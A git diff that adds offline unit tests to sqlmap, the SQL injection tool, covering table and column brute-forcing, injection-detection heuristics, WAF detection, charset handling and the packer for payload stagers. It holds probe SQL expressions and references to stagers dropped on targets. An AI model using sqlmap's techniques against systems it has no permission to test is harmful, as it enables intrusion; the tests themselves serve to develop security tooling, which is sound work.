brute.tableExists("/nonexistent/tables.txt") + + def test_column_exists_requires_table(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms(DBMS.MYSQL) + conf.tbl = None + # the sanity probe is False so we reach the missing-table guard + brute.inject.checkBooleanExpression = lambda *a, **k: False + with self.assertRaises(SqlmapMissingMandatoryOptionException): + brute.columnExists("/nonexistent/columns.txt") + + def test_column_exists_collects_and_types(self): + set_dbms(DBMS.MYSQL) + conf.tbl = "users" + brute.getFileItems = lambda *a, **k: ["id", "name"] + + calls = {"n": 0} + + def _cbe(expression, expectingNone=True): + calls["n"] += 1 + # initial sanity probe queries a random table, not the real 'users' one - so keying on the + # table name is collision-proof (unlike a column-name substring, which a random probe value + # can incidentally contain, e.g. 'id') + if "users" not in expression: + return False + # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. + # 'id' is numeric (no non-digit chars => probe False => numeric); + # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). + if "REGEXP" in expression: + return "name" in expression + # plain existence check (EXISTS(SELECT
    FROM )) => both columns exist + return True + brute.inject.checkBooleanExpression = _cbe + + result = brute.columnExists("/nonexistent/columns.txt") + self.assertIn(None, result) + cols = result[None]["users"] + # column names are run through safeSQLIdentificatorNaming, so the MySQL + # reserved word "name" comes back backtick-quoted + from lib.core.common import safeSQLIdentificatorNaming, getText + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") + + def test_column_exists_multiple_tables(self): + # regression: the found-columns dict must not rebind the 'columns' wordlist list, + # else the 2nd table in conf.tbl indexes a dict by int -> KeyError (crash/hang) + set_dbms(DBMS.MYSQL) + conf.tbl = "users,logs" + brute.getFileItems = lambda *a, **k: ["id", "name"] + + def _cbe(expression, expectingNone=True): + if not any(_ in expression for _ in ("users", "logs")): + return False # random-name sanity probe + return True # every column exists (type follow-ups don't matter here) + brute.inject.checkBooleanExpression = _cbe + + # pre-fix the 2nd table iteration raised KeyError (dict indexed by int); post-fix + # both tables are processed and cached (keys are safeSQLIdentificatorNaming'd) + result = brute.columnExists("/nonexistent/columns.txt") + self.assertEqual(len(result[None]), 2) + self.assertTrue(all(cols for cols in result[None].values())) + + def test_add_page_text_words_filters(self): + # restore the real getPageWordSet for this one and drive it directly + brute.getPageWordSet = self._orig_getPageWordSet + kb.originalPage = u"admin password 1abc xy verylongword" + words = brute._addPageTextWords() + # words <= 2 chars or starting with a digit are dropped + self.assertIn("admin", words) + self.assertIn("password", words) + self.assertNotIn("xy", words) + self.assertNotIn("1abc", words) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_charset.py b/tests/test_charset.py new file mode 100644 index 00000000000..9ef15fcf890 --- /dev/null +++ b/tests/test_charset.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Response charset / meta detection and parameter parsing. + +checkCharEncoding canonicalizes the encoding sqlmap will decode a page with; +META_CHARSET_REGEX / HTML_TITLE_REGEX / META_REFRESH_REGEX pull structural hints +out of the body; paramToDict splits the parameters sqlmap will inject into. +These feed decodePage and the comparison engine, so the canonical/None results +are pinned here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import checkCharEncoding +from lib.request.inject import _pageCharsetCorrupted, _looksLikeMisdecodedUtf8 +from lib.core.common import extractRegexResult, paramToDict +from lib.core.enums import PLACE +from lib.core.settings import META_CHARSET_REGEX, HTML_TITLE_REGEX, META_REFRESH_REGEX + + +class TestCheckCharEncoding(unittest.TestCase): + def test_canonical_known(self): + for enc in ("utf-8", "windows-1252", "iso-8859-1", "ascii", "latin1"): + self.assertEqual(checkCharEncoding(enc, False), enc, msg="checkCharEncoding(%r)" % enc) + + def test_normalizes_aliases(self): + self.assertEqual(checkCharEncoding("UTF8", False), "utf8") + self.assertEqual(checkCharEncoding("us-ascii", False), "ascii") + + def test_unknown_is_none(self): + self.assertIsNone(checkCharEncoding("boguscharset123", False)) + + def test_none_is_none(self): + self.assertIsNone(checkCharEncoding(None, False)) + + +class TestBodyHints(unittest.TestCase): + def test_meta_charset(self): + self.assertEqual(extractRegexResult(META_CHARSET_REGEX, ''), "utf-8") + + def test_title(self): + self.assertEqual(extractRegexResult(HTML_TITLE_REGEX, "Login Page"), "Login Page") + + def test_meta_refresh_url(self): + self.assertEqual(extractRegexResult(META_REFRESH_REGEX, + ''), "/next") + + def test_no_match_is_none(self): + self.assertIsNone(extractRegexResult(HTML_TITLE_REGEX, "no title here")) + + +class TestCharsetMismatchDetection(unittest.TestCase): + """The auto-hex recovery triggers on two complementary mismatch directions: + _pageCharsetCorrupted (page charset too NARROW -> undecodable bytes) and + _looksLikeMisdecodedUtf8 (page charset too WIDE -> UTF-8 shown as latin-1, no + undecodable byte). Both must fire on the corruption and NOT on clean data.""" + + # correctly-decoded UTF-8 and genuine latin-1 text: neither detector may fire (no wasted re-fetch). + # \u escapes keep this source pure-ASCII (py2): cafe / naive / Zurich / CJK / Cyrillic / resume / garcon + CLEAN = [u"admin", u"caf\u00e9", u"na\u00efve", u"Z\u00fcrich", u"\u65e5\u672c\u8a9e", + u"\u0417\u0434\u0440\u0430\u0432\u0435\u0439", u"r\u00e9sum\u00e9", u"gar\u00e7on"] + + def test_clean_values_trigger_neither(self): + for v in self.CLEAN: + self.assertFalse(_pageCharsetCorrupted(v), msg="narrow FP: %r" % v) + self.assertFalse(_looksLikeMisdecodedUtf8(v), msg="wide FP: %r" % v) + + def test_utf8_shown_as_latin1_is_caught(self): + # gap #1: UTF-8 column bytes decoded as latin-1 -> valid mojibake, no undecodable byte + for word in (u"caf\u00e9", u"\u65e5\u672c\u8a9e", u"\u0417\u0434\u0440\u0430\u0432\u0435\u0439", u"\u20ac"): + mojibake = word.encode("utf-8").decode("latin-1") + self.assertFalse(_pageCharsetCorrupted(mojibake), msg="narrow should miss: %r" % mojibake) + self.assertTrue(_looksLikeMisdecodedUtf8(mojibake), msg="wide should catch: %r" % mojibake) + + def test_undecodable_bytes_still_caught_by_narrow(self): + # the other direction (page charset too narrow) leaves reversible \xNN escapes + self.assertTrue(_pageCharsetCorrupted(u"foo\\xe9bar")) + + def test_list_and_nonstring_inputs(self): + self.assertTrue(_looksLikeMisdecodedUtf8([u"ok", u"caf\u00c3\u00a9"])) # 'cafe' mojibake + self.assertFalse(_looksLikeMisdecodedUtf8([u"ok", 123, None])) + + +class TestParamToDict(unittest.TestCase): + # NOTE: GET parsing is covered in test_urls.py; here we only cover the COOKIE place, + # which uses a different (semicolon) delimiter and is a distinct code path. + def test_cookie_semicolon_delimited(self): + d = paramToDict(PLACE.COOKIE, "sid=abc; theme=dark") + self.assertEqual(d.get("sid"), "abc") + self.assertEqual(d.get("theme"), "dark") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 00000000000..f600adb3991 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,500 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/controller/checks.py driven with a MOCKED HTTP layer. + +checks.py is the injection-detection controller; almost everything in it goes +through the network seam (lib.request.connect.Connect, imported into the module +as `Request`). By monkeypatching `Request.queryPage` / `Request.getPage` to +return canned (page, headers/ratio, code) tuples - and stubbing `agent.payload` +where the real payload machinery would require a fully-built target - the +decision logic of each check (the kb.*/conf.*/return-value verdict) can be +exercised offline, without a live target, DBMS, or DNS. + +Every test snapshots and restores the conf/kb fields it touches AND every +module attribute it monkeypatches, so ordering between tests (and with the rest +of the suite) is irrelevant. conf.batch is forced on to avoid interactive +prompts, and readInput is stubbed per-test where a branch would prompt. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, save_attrs, restore_attrs +bootstrap() + +import lib.controller.checks as checks +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict, InjectionDict +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import DBMS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import NULLCONNECTION +from lib.core.enums import PLACE +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.common import getCurrentThreadData +from lib.parse.html import htmlParser + + +# conf/kb fields any of the checks read or write; snapshotted wholesale so a +# test never leaks state into another test or the rest of the suite. +_CONF_KEYS = ( + "paramDict", "parameters", "url", "hostname", "method", "skipHeuristics", + "prefix", "suffix", "nosql", "graphql", "ldap", "xpath", "ssti", "beep", "string", + "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", + "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", + "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles", +) +_KB_KEYS = ( + "pageTemplate", "negativeLogic", + "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", + "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", + "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", + "nullConnection", "pageCompress", "matchRatio", "skipSeqMatcher", + "choices", "injection", "errorIsNone", "serverHeader", "identifiedWafs", + "tamperFunctions", "resendPostOnRedirect", "checkWafMode", "wafBypass", + "heuristicExtendedDbms", "resumeValues", "mergeCookies", "httpErrorCodes", +) + + +def _snapshot(): + return ( + dict((k, conf.get(k)) for k in _CONF_KEYS), + dict((k, kb.get(k)) for k in _KB_KEYS), + ) + + +def _restore(snap): + confSnap, kbSnap = snap + for k, v in confSnap.items(): + conf[k] = v + for k, v in kbSnap.items(): + kb[k] = v + + +class _ChecksTestBase(unittest.TestCase): + """Snapshots conf/kb and the patchable seams; restores them in tearDown.""" + + def setUp(self): + self._snap = _snapshot() + # remember the real seams so monkeypatches can't leak. agent.payload / + # addPayloadDelimiters are class methods on a shared singleton, so they need + # save_attrs()/restore_attrs() rather than a plain reassignment (see _testutils). + self._origQueryPage = checks.Request.queryPage + self._origGetPage = checks.Request.getPage + self._savedAgent = save_attrs(checks.agent, "payload", "addPayloadDelimiters") + self._origReadInput = checks.readInput + self._origDbmsErr = checks.wasLastResponseDBMSError + self._origHttpErr = checks.wasLastResponseHTTPError + self._origCBE = checks.checkBooleanExpression + + # sane offline baseline shared by most checks + conf.batch = True + conf.skipHeuristics = False + conf.prefix = conf.suffix = None + conf.hashDB = None + conf.dummy = conf.offline = conf.proxy = conf.tor = None + kb.choices = AttribDict(keycheck=False) + + def tearDown(self): + checks.Request.queryPage = self._origQueryPage + checks.Request.getPage = self._origGetPage + restore_attrs(self._savedAgent) + checks.readInput = self._origReadInput + checks.wasLastResponseDBMSError = self._origDbmsErr + checks.wasLastResponseHTTPError = self._origHttpErr + checks.checkBooleanExpression = self._origCBE + _restore(self._snap) + + # --- helpers --- + + def _patchQueryPage(self, fn): + checks.Request.queryPage = staticmethod(fn) + + def _patchGetPage(self, fn): + checks.Request.getPage = staticmethod(fn) + + @staticmethod + def _contentQuery(page, code=200, headers=None): + """A queryPage that returns (page, headers/ratio, code) when content is + requested and a plain truthiness otherwise.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _detectingContentQuery(page, code=200, headers=None): + """Like _contentQuery, but mirrors the real connection layer's + error-detection seam: it advances the request UID and runs the REAL + htmlParser() over the page (exactly as Connect.getPage() does), so the + page is classified by sqlmap's genuine error regexes. The unstubbed + wasLastResponseDBMSError() then reads the threadData.lastErrorPage this + leaves behind - the heuristic verdict is the detector's, not the stub's.""" + def _fn(*args, **kwargs): + threadData = getCurrentThreadData() + kb.requestCounter = (kb.get("requestCounter") or 0) + 1 + threadData.lastRequestUID = kb.requestCounter + htmlParser(page or "") + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _comparingQuery(page, code=200, headers=None): + """A queryPage that, for a non-content request, runs the REAL + comparison() engine of the injected page against kb.pageTemplate (the + same call Connect.queryPage makes for its True/False verdict). The + matchRatio/seqMatcher dynamicity logic therefore actually executes - + the verdict is computed, not hard-coded.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return checks.comparison(page, headers, code, getRatioValue=False) + return _fn + + +class TestHeuristicCheckSqlInjection(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckSqlInjection, self).setUp() + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://test.invalid/index.php?id=1" + conf.method = None + conf.nosql = conf.graphql = conf.ldap = conf.xpath = conf.ssti = False + conf.beep = False + kb.heavilyDynamic = False + kb.dynamicParameter = False + kb.originalPage = "" + kb.ignoreCasted = False + # clear any error-page marker left by an earlier request so the real + # wasLastResponseDBMSError() starts from a clean slate + td = getCurrentThreadData() + td.lastErrorPage = tuple() + td.lastRequestUID = 0 + # bypass the full payload-building machinery (needs a built target) + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + + def test_skip_heuristics_returns_none(self): + conf.skipHeuristics = True + self.assertIsNone(checks.heuristicCheckSqlInjection(PLACE.GET, "id")) + + def test_positive_on_dbms_error(self): + # Feed a GENUINE MySQL error page (matches sqlmap's real error regex in + # data/xml/errors.xml) through the detecting stub and let the UNSTUBBED + # wasLastResponseDBMSError() classify it. The POSITIVE verdict is then + # the real detector's, not a hard-coded True. + page = ("You have an error in your SQL syntax; check the " + "manual that corresponds to your MySQL server version") + self._patchQueryPage(self._detectingContentQuery(page)) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.POSITIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.POSITIVE) + + def test_negative_on_clean_page(self): + # A clean page matches none of sqlmap's error regexes, so the unstubbed + # wasLastResponseDBMSError() returns false -> NEGATIVE verdict. + self._patchQueryPage(self._detectingContentQuery("a perfectly ordinary page")) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.NEGATIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.NEGATIVE) + + def test_records_page_and_resets_mode(self): + self._patchQueryPage(self._detectingContentQuery("nothing special here")) + checks.heuristicCheckSqlInjection(PLACE.GET, "id") + # mode flags must be flipped back off after the check + self.assertFalse(kb.heuristicMode) + self.assertFalse(kb.disableHtmlDecoding) + + +class TestHeuristicCheckDbms(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckDbms, self).setUp() + kb.injection = InjectionDict() + + def test_skip_heuristics_returns_false(self): + conf.skipHeuristics = True + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_no_match_when_all_expressions_false(self): + checks.checkBooleanExpression = lambda expr: False + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_identifies_dbms_on_distinguishing_pair(self): + # An expr-AWARE oracle that recognises ONLY the predicate + # heuristicCheckDbms() builds for one CHOSEN target DBMS. The function + # iterates every DBMS, forging for each the pair + # positive: (SELECT '')= -> must be True + # negative: (SELECT '')= -> must be False + # ( == SINGLE_QUOTE_MARKER, r1 != r2). The DBMS is reported only when + # the positive holds AND the negative fails. The oracle below returns + # True exactly for that shape - it keys off the chosen DBMS's UNIQUE + # FROM clause (so no other DBMS's predicate matches) and off the two + # quoted literals being equal (so the "must differ" negative is False). + # Firebird is chosen because its FROM clause (' FROM RDB$DATABASE') is + # unique in FROM_DUMMY_TABLE and it is not a HEURISTIC_NULL_EVAL DBMS, + # so heuristicCheckDbms() takes the SELECT-literal predicate path for it. + target = DBMS.FIREBIRD + targetFrom = FROM_DUMMY_TABLE[target] + predicate = re.compile( + r"\(SELECT '([^']*)'( FROM [^)]*)?\)=" + + re.escape(SINGLE_QUOTE_MARKER) + r"(.*?)" + re.escape(SINGLE_QUOTE_MARKER) + ) + + def oracle(expr): + match = predicate.search(expr) + if not match: + return False + selected, fromClause, compared = match.group(1), match.group(2) or "", match.group(3) + # True only for the target DBMS's FROM clause with matching literals + return fromClause == targetFrom and selected == compared + + checks.checkBooleanExpression = oracle + result = checks.heuristicCheckDbms(InjectionDict()) + # real predicate matching must single out the chosen DBMS, not whatever + # getPublicTypeMembers() happens to yield first + self.assertEqual(result, target) + self.assertEqual(kb.heuristicExtendedDbms, target) + + +class TestCheckDynParam(_ChecksTestBase): + # A stable baseline page that checkDynParam's injected response is compared + # against by the REAL comparison() engine. Long enough that difflib's + # quick_ratio is meaningful rather than degenerate. + _BASELINE = ("Welcome" + + "the quick brown fox jumps over the lazy dog. " * 20 + + "") + + def setUp(self): + super(TestCheckDynParam, self).setUp() + conf.method = None + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + # state the real comparison() engine reads + conf.string = conf.notString = conf.regexp = conf.code = None + conf.titles = conf.textOnly = False + kb.nullConnection = False + kb.heavilyDynamic = False + kb.skipSeqMatcher = False + kb.errorIsNone = False + kb.negativeLogic = False + kb.pageCompress = False + kb.matchRatio = None + kb.pageTemplate = self._BASELINE + + def test_redirect_short_circuits(self): + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkDynParam(PLACE.GET, "id", "1")) + + def test_dynamic_when_page_differs(self): + # A response wildly different from the baseline drives the real + # comparison() ratio below LOWER_RATIO_BOUND -> queryPage returns False + # (page differs) -> parameter is dynamic. + self._patchQueryPage(self._comparingQuery("totally unrelated content " + "Z" * 200)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertTrue(result) + self.assertTrue(kb.dynamicParameter) + + def test_not_dynamic_when_page_same(self): + # An identical response yields ratio 1.0 (> UPPER_RATIO_BOUND) from the + # real comparison() -> queryPage returns True (page same) -> not dynamic. + self._patchQueryPage(self._comparingQuery(self._BASELINE)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertFalse(result) + self.assertFalse(kb.dynamicParameter) + + +class TestCheckDynamicContent(_ChecksTestBase): + def setUp(self): + super(TestCheckDynamicContent, self).setUp() + kb.nullConnection = False + + def test_null_connection_skips(self): + kb.nullConnection = NULLCONNECTION.HEAD + self.assertIsNone(checks.checkDynamicContent("a", "b")) + + def test_missing_page_aborts(self): + self.assertIsNone(checks.checkDynamicContent(None, "x")) + + def test_identical_pages_no_dynamicity(self): + # high ratio -> no dynamic-content engine, no further requests + self._patchQueryPage(lambda *a, **kw: self.fail("should not request")) + self.assertIsNone(checks.checkDynamicContent("identical content", "identical content")) + + +class TestCheckStability(_ChecksTestBase): + def setUp(self): + super(TestCheckStability, self).setUp() + kb.originalPageTime = time.time() + kb.nullConnection = False + + def test_stable_when_pages_match(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + self.assertTrue(checks.checkStability()) + self.assertTrue(kb.pageStable) + + def test_redirect_returns_none(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkStability()) + + def test_unstable_continue_choice(self): + kb.originalPage = "FIRST PAGE CONTENT" + conf.retries = 0 + kb.heavilyDynamic = False + checks.readInput = lambda *a, **kw: "C" + + def _q(*a, **kw): + if kw.get("content"): + return ("SECOND DIFFERENT PAGE", None, 200) + return True # keeps checkDynamicContent's retry loop from firing + self._patchQueryPage(_q) + + result = checks.checkStability() + self.assertFalse(result) + self.assertFalse(kb.pageStable) + + def test_unstable_string_choice_sets_conf_string(self): + kb.originalPage = "FIRST" + self._patchQueryPage(self._contentQuery("SECOND")) + replies = iter(["S", "MATCHME"]) + checks.readInput = lambda *a, **kw: next(replies) + checks.checkStability() + self.assertEqual(conf.string, "MATCHME") + + +class TestCheckNullConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckNullConnection, self).setUp() + conf.data = None + kb.pageCompress = False + kb.nullConnection = None + + def test_post_data_disables_null_connection(self): + conf.data = "a=b" + self.assertFalse(checks.checkNullConnection()) + + def test_head_content_length(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {HTTP_HEADER.CONTENT_LENGTH: "1234"}, 200) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.HEAD) + + def test_range_content_range(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {}, 200) # no Content-Length on HEAD + if kw.get("auxHeaders"): + return ("A", {HTTP_HEADER.CONTENT_RANGE: "bytes 0-0/100"}, 206) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.RANGE) + + def test_not_supported(self): + # nothing usable on any method -> nullConnection ends up False + self._patchGetPage(lambda *a, **kw: ("xx", {}, 200)) + self.assertFalse(checks.checkNullConnection()) + self.assertFalse(kb.nullConnection) + + +class TestCheckConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckConnection, self).setUp() + conf.hostname = "1.2.3.4" # dotted-quad -> no DNS resolution + conf.string = conf.regexp = None + conf.cj = None + conf.ignoreCode = None + kb.httpErrorCodes = {} + checks.wasLastResponseHTTPError = lambda: False + checks.wasLastResponseDBMSError = lambda: False + td = getCurrentThreadData() + td.lastPage = "PAGE CONTENT" + td.lastCode = 200 + + class _Headers(object): + headers = "Server: test\r\n" + + def test_success_sets_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("PAGE CONTENT", self._Headers(), 200)) + self.assertTrue(checks.checkConnection()) + self.assertTrue(kb.errorIsNone) + self.assertEqual(kb.originalPage, "PAGE CONTENT") + + def test_dbms_error_clears_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("oops SQL error", self._Headers(), 200)) + checks.wasLastResponseDBMSError = lambda: True + self.assertTrue(checks.checkConnection()) + self.assertFalse(kb.errorIsNone) + + def test_string_not_in_response_still_continues(self): + conf.string = "NEEDLE-NOT-PRESENT" + self._patchQueryPage(lambda *a, **kw: ("haystack only", self._Headers(), 200)) + # warns but carries on (returns True) + self.assertTrue(checks.checkConnection()) + + +class TestCheckWaf(_ChecksTestBase): + def setUp(self): + super(TestCheckWaf, self).setUp() + conf.string = conf.notString = conf.regexp = None + conf.dummy = conf.offline = conf.skipWaf = None + kb.originalCode = 200 + kb.originalPage = "page" + conf.parameters = {PLACE.GET: "id=1"} + kb.resendPostOnRedirect = False + conf.timeout = 30 + kb.identifiedWafs = [] + conf.tamper = None + kb.tamperFunctions = [] + checks.agent.addPayloadDelimiters = lambda v: v + + def test_skips_when_string_set(self): + conf.string = "x" + self.assertIsNone(checks.checkWaf()) + + def test_not_detected_on_high_ratio(self): + # queryPage()[1] is the ratio; high ratio -> not blocked + self._patchQueryPage(lambda *a, **kw: ("ok", 0.9, 200)) + self.assertFalse(checks.checkWaf()) + + def test_detected_on_low_ratio(self): + self._patchQueryPage(lambda *a, **kw: ("blocked", 0.1, 403)) + checks.readInput = lambda *a, **kw: True # continue + accept bypass + import lib.utils.wafbypass as wafbypass + orig = wafbypass.neutralizeFingerprint + wafbypass.neutralizeFingerprint = lambda: None + try: + self.assertTrue(checks.checkWaf()) + finally: + wafbypass.neutralizeFingerprint = orig + + +class TestCheckInternet(_ChecksTestBase): + def test_internet_available(self): + self._patchGetPage(lambda *a, **kw: ("ok", None, checks.CHECK_INTERNET_CODE)) + self.assertTrue(checks.checkInternet()) + + def test_internet_unavailable(self): + self._patchGetPage(lambda *a, **kw: ("captive portal", None, 500)) + self.assertFalse(checks.checkInternet()) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_cloak.py b/tests/test_cloak.py new file mode 100644 index 00000000000..512f5dbcec3 --- /dev/null +++ b/tests/test_cloak.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +cloak / decloak (extra/cloak/cloak.py) - the zlib+XOR transform used to pack the +payload stager files (.py_) that sqlmap drops and unpacks on a target during +takeover/file-write. A broken round-trip here corrupts every deployed stager. + +decloak(cloak(x)) must be the identity for arbitrary bytes; pinned with known +vectors and a property sweep over random binary inputs. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +# cloak ships under extra/cloak (build-time + runtime stager packer) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "extra", "cloak")) +import cloak as C + +RND = random.Random(1234) + + +def _rand_bytes(n): + return bytes(bytearray(RND.randint(0, 255) for _ in range(n))) + + +class TestCloakRoundTrip(unittest.TestCase): + def test_known_payload(self): + data = b"print('stager')" + self.assertEqual(C.decloak(data=C.cloak(data=data)), data) + + def test_empty(self): + self.assertEqual(C.decloak(data=C.cloak(data=b"")), b"") + + def test_cloak_changes_bytes(self): + # cloak must actually transform (compress+xor), not pass through + data = b"A" * 64 + self.assertNotEqual(C.cloak(data=data), data) + + def test_cloak_compresses_compressible_input(self): + # highly-repetitive input must come out SMALLER (proves zlib is actually applied, + # not just an XOR-only obfuscation). NOTE: random/incompressible data would grow, + # so this assertion is only valid for compressible input. + data = b"A" * 1000 + self.assertLess(len(C.cloak(data=data)), len(data)) + + def test_property_random_binary(self): + for _ in range(500): + data = _rand_bytes(RND.randint(0, 200)) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed for %r" % data) + + def test_property_large(self): + for size in (1024, 8192, 65536): + data = _rand_bytes(size) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed at size %d" % size) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common.py b/tests/test_common.py new file mode 100644 index 00000000000..ddede42ab29 --- /dev/null +++ b/tests/test_common.py @@ -0,0 +1,1836 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Consolidated unit coverage for lib/core/common.py. + +This module merges the previously separate test_common_utils.py, +test_common_parsers.py and the common.py-specific classes from +test_core_more.py, test_core_extra.py and test_core_final.py into a single +file. Test logic is unchanged from those sources. + +Everything runs in isolation (no network, no DBMS, no persistent filesystem +mutation of the project). Any function that reads/writes global conf/kb/Backend +state has that state saved and restored around the call so test ordering stays +irrelevant. Temp files go to the session scratchpad and are removed. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import atexit +import base64 +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb, paths +from lib.core.defaults import defaults +from lib.core.enums import ( + CHARSET_TYPE, + DBMS, + EXPECTED, + HTTPMETHOD, + PLACE, + SORT_ORDER, +) +from lib.core.exception import ( + SqlmapSystemException, +) +from lib.core.settings import ( + NULL, + PAYLOAD_DELIMITER, + REFLECTED_VALUE_MARKER, +) +from lib.core.common import ( + aliasToDbmsEnum, + applyFunctionRecursively, + arrayizeValue, + Backend, + boldifyMessage, + calculateDeltaSeconds, + checkFile, + checkOldOptions, + checkSystemEncoding, + cleanReplaceUnicode, + commonFinderOnly, + enumValueToNameLookup, + extractErrorMessage, + extractExpectedValue, + extractRegexResult, + extractTextTagContent, + filePathToSafeString, + filterListValue, + filterNone, + filterPairValues, + filterStringValue, + findMultipartPostBoundary, + findPageForms, + flattenValue, + Format, + getCharset, + getFilteredPageContent, + getHeader, + getLimitRange, + getPageWordSet, + getPartRun, + getRequestHeader, + getSQLSnippet, + getTechnique, + getText, + intersect, + isDBMSVersionAtLeast, + isListLike, + isNoneValue, + isNullValue, + isNumber, + isNumPosStrValue, + isWindowsDriveLetterPath, + isZipFile, + joinValue, + listToStrValue, + normalizeUnicode, + paramToDict, + parseJson, + parsePasswordHash, + parseRequestFile, + parseTargetDirect, + parseTargetUrl, + parseUnionPage, + removePostHintPrefix, + removeReflectiveValues, + resetCookieJar, + safeExpandUser, + safeFilepathEncode, + safeStringFormat, + safeSQLIdentificatorNaming, + saveConfig, + serializeObject, + setColor, + setTechnique, + splitFields, + trimAlphaNum, + unArrayizeValue, + unserializeObject, + urlencode, + zeroDepthSearch, +) + +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + + +def _write_temp(content, suffix): + """Write `content` (str) to a scratchpad temp file, return its path.""" + if not os.path.isdir(SCRATCH): + os.makedirs(SCRATCH) + handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) + os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) + os.close(handle) + return path + + +class _FakeRequest(object): + """Minimal stand-in for urllib2.Request used by getRequestHeader().""" + + def __init__(self, headers): + self.headers = headers + + def header_items(self): + return self.headers.items() + + +# =========================================================================== # +# from tests/test_common_utils.py +# =========================================================================== # + +class TestParamToDict(unittest.TestCase): + """Parameter string -> OrderedDict for the various injection places.""" + + def test_get_two_params(self): + result = paramToDict(PLACE.GET, "id=1&name=foo") + self.assertEqual(list(result.items()), [("id", "1"), ("name", 